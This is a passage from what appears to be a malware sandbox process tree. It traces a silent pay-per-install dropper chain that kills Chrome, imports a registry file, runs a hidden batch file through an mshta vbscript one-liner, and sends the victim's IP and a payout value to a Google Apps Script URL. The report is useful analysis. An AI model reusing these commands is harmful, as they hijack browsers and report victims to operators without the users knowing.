                                                                                                    • Program crash
                                                                                                    PID:5532
                                                                                                • C:\Users\Admin\AppData\Local\Temp\uyhdtxb3eli\Setup3310.exe
                                                                                                  "C:\Users\Admin\AppData\Local\Temp\uyhdtxb3eli\Setup3310.exe" /Verysilent /subid=577
                                                                                                  8⤵
                                                                                                    PID:4520
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-F6SMD.tmp\Setup3310.tmp
                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-F6SMD.tmp\Setup3310.tmp" /SL5="$302B4,802346,56832,C:\Users\Admin\AppData\Local\Temp\uyhdtxb3eli\Setup3310.exe" /Verysilent /subid=577
                                                                                                      9⤵
                                                                                                        PID:4544
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-Q7UP8.tmp\Setup.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-Q7UP8.tmp\Setup.exe" /Verysilent
                                                                                                          10⤵
                                                                                                            PID:5776
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\is-EPUQG.tmp\Setup.tmp
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\is-EPUQG.tmp\Setup.tmp" /SL5="$301CA,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-Q7UP8.tmp\Setup.exe" /Verysilent
                                                                                                              11⤵
                                                                                                                PID:5796
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-SIGE4.tmp\ProPlugin.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\is-SIGE4.tmp\ProPlugin.exe" /Verysilent
                                                                                                                  12⤵
                                                                                                                    PID:5704
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\is-3MJ2F.tmp\ProPlugin.tmp
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\is-3MJ2F.tmp\ProPlugin.tmp" /SL5="$303D6,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-SIGE4.tmp\ProPlugin.exe" /Verysilent
                                                                                                                      13⤵
                                                                                                                        PID:5696
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\is-KQCET.tmp\Setup.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\is-KQCET.tmp\Setup.exe"
                                                                                                                          14⤵
                                                                                                                            PID:5176
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe
                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\main.exe"
                                                                                                                              15⤵
                                                                                                                                PID:5008
                                                                                                                                • C:\Windows\regedit.exe
                                                                                                                                  regedit /s chrome.reg
                                                                                                                                  16⤵
                                                                                                                                  • Runs .reg file with regedit
                                                                                                                                  PID:4220
                                                                                                                                • C:\Windows\SYSTEM32\TASKKILL.exe
                                                                                                                                  TASKKILL /F /IM chrome.exe
                                                                                                                                  16⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:4648
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\curl.exe
                                                                                                                                  curl.exe "https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.51&loc=US&app=Staoism&payoutcents=0.08&ver=3.5" -k
                                                                                                                                  16⤵
                                                                                                                                    PID:4624
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c chrome64.bat
                                                                                                                                    16⤵
                                                                                                                                      PID:4144
                                                                                                                                      • C:\Windows\system32\mshta.exe
                                                                                                                                        mshta vbscript:createobject("wscript.shell").run("chrome64.bat h",0)(window.close)
                                                                                                                                        17⤵
                                                                                                                                          PID:4748
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX1\chrome64.bat" h"
                                                                                                                                            18⤵
                                                                                                                                              PID:4576
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                "C:/Program Files/Google/Chrome/Application/chrome.exe"
                                                                                                                                                19⤵
                                                                                                                                                  PID:5488
                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffa0fd06e00,0x7ffa0fd06e10,0x7ffa0fd06e20
                                                                                                                                                    20⤵
                                                                                                                                                      PID:4304
                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1696 /prefetch:2
                                                                                                                                                      20⤵
                                                                                                                                                        PID:2676
                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1748 /prefetch:8
                                                                                                                                                        20⤵
                                                                                                                                                          PID:5460
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2684 /prefetch:1
                                                                                                                                                          20⤵
                                                                                                                                                            PID:5192
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2676 /prefetch:1
                                                                                                                                                            20⤵
                                                                                                                                                              PID:5612
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3228 /prefetch:1
                                                                                                                                                              20⤵
                                                                                                                                                                PID:6156
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3560 /prefetch:1
                                                                                                                                                                20⤵
                                                                                                                                                                  PID:6188
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3540 /prefetch:1
                                                                                                                                                                  20⤵
                                                                                                                                                                    PID:6180
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3380 /prefetch:1
                                                                                                                                                                    20⤵
                                                                                                                                                                      PID:6172
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4116 /prefetch:8
                                                                                                                                                                      20⤵
                                                                                                                                                                        PID:6756
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4248 /prefetch:8
                                                                                                                                                                        20⤵
                                                                                                                                                                          PID:6800
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4324 /prefetch:8
                                                                                                                                                                          20⤵
                                                                                                                                                                            PID:6344
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4212 /prefetch:8
                                                                                                                                                                            20⤵
                                                                                                                                                                              PID:6328
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4340 /prefetch:8
                                                                                                                                                                              20⤵
                                                                                                                                                                                PID:4556
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3672 /prefetch:8
                                                                                                                                                                                20⤵
                                                                                                                                                                                  PID:5564
                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
                                                                                                                                                                                  20⤵
                                                                                                                                                                                    PID:4940
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff7368d7740,0x7ff7368d7750,0x7ff7368d7760
                                                                                                                                                                                      21⤵
                                                                                                                                                                                        PID:5592
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1616 /prefetch:8
                                                                                                                                                                                      20⤵
                                                                                                                                                                                        PID:7080
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5148 /prefetch:8
                                                                                                                                                                                        20⤵
                                                                                                                                                                                          PID:7120
                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5092 /prefetch:8
                                                                                                                                                                                          20⤵
                                                                                                                                                                                            PID:1900
                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4868 /prefetch:8
                                                                                                                                                                                            20⤵
                                                                                                                                                                                              PID:6428
                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5076 /prefetch:8
                                                                                                                                                                                              20⤵
                                                                                                                                                                                                PID:6152
                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5036 /prefetch:8
                                                                                                                                                                                                20⤵
                                                                                                                                                                                                  PID:3900
                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5040 /prefetch:8
                                                                                                                                                                                                  20⤵
                                                                                                                                                                                                    PID:6312
                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3384 /prefetch:8
                                                                                                                                                                                                    20⤵
                                                                                                                                                                                                      PID:6184
                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2192 /prefetch:8
                                                                                                                                                                                                      20⤵
                                                                                                                                                                                                        PID:7148
                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4308 /prefetch:8
                                                                                                                                                                                                        20⤵
                                                                                                                                                                                                          PID:6172
                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1776 /prefetch:8
                                                                                                                                                                                                          20⤵
                                                                                                                                                                                                            PID:6832
                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3336 /prefetch:8
                                                                                                                                                                                                            20⤵
                                                                                                                                                                                                              PID:4940
                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3304 /prefetch:8
                                                                                                                                                                                                              20⤵
                                                                                                                                                                                                                PID:5260
                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5084 /prefetch:8
                                                                                                                                                                                                                20⤵
                                                                                                                                                                                                                  PID:6948
                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3292 /prefetch:8
                                                                                                                                                                                                                  20⤵
                                                                                                                                                                                                                    PID:5072
                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4912 /prefetch:8
                                                                                                                                                                                                                    20⤵
                                                                                                                                                                                                                      PID:6532
                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4044 /prefetch:8
                                                                                                                                                                                                                      20⤵
                                                                                                                                                                                                                        PID:3548
                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3660 /prefetch:8
                                                                                                                                                                                                                        20⤵
                                                                                                                                                                                                                          PID:6924
                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5116 /prefetch:8
                                                                                                                                                                                                                          20⤵
                                                                                                                                                                                                                            PID:6228
                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4772 /prefetch:8
                                                                                                                                                                                                                            20⤵
                                                                                                                                                                                                                              PID:6672
                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3544 /prefetch:8
                                                                                                                                                                                                                              20⤵
                                                                                                                                                                                                                                PID:6068
                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5544 /prefetch:8
                                                                                                                                                                                                                                20⤵
                                                                                                                                                                                                                                  PID:2004
                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5688 /prefetch:8
                                                                                                                                                                                                                                  20⤵
                                                                                                                                                                                                                                    PID:6784
                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4684 /prefetch:1
                                                                                                                                                                                                                                    20⤵
                                                                                                                                                                                                                                      PID:6652
                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5684 /prefetch:8
                                                                                                                                                                                                                                      20⤵
                                                                                                                                                                                                                                        PID:6704
                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5824 /prefetch:8
                                                                                                                                                                                                                                        20⤵
                                                                                                                                                                                                                                          PID:4892
                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3484 /prefetch:8
                                                                                                                                                                                                                                          20⤵
                                                                                                                                                                                                                                            PID:6272
                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4968 /prefetch:8
                                                                                                                                                                                                                                            20⤵
                                                                                                                                                                                                                                              PID:4680
                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4692 /prefetch:8
                                                                                                                                                                                                                                              20⤵
                                                                                                                                                                                                                                                PID:5984
                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2308 /prefetch:8
                                                                                                                                                                                                                                                20⤵
                                                                                                                                                                                                                                                  PID:6584
                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4696 /prefetch:8
                                                                                                                                                                                                                                                  20⤵
                                                                                                                                                                                                                                                    PID:6188
                                                                                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5664 /prefetch:1
                                                                                                                                                                                                                                                    20⤵
                                                                                                                                                                                                                                                      PID:4676
                                                                                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4632 /prefetch:8
                                                                                                                                                                                                                                                      20⤵
                                                                                                                                                                                                                                                        PID:7032
                                                                                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5752 /prefetch:8
                                                                                                                                                                                                                                                        20⤵
                                                                                                                                                                                                                                                          PID:4052
                                                                                                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5788 /prefetch:8
                                                                                                                                                                                                                                                          20⤵
                                                                                                                                                                                                                                                            PID:6708
                                                                                                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4300 /prefetch:8
                                                                                                                                                                                                                                                            20⤵
                                                                                                                                                                                                                                                              PID:6232
                                                                                                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2644 /prefetch:1
                                                                                                                                                                                                                                                              20⤵
                                                                                                                                                                                                                                                                PID:5728
                                                                                                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1660,6865956881238960791,18085014316047281387,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3380 /prefetch:8
                                                                                                                                                                                                                                                                20⤵
                                                                                                                                                                                                                                                                  PID:1104
                                                                                                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
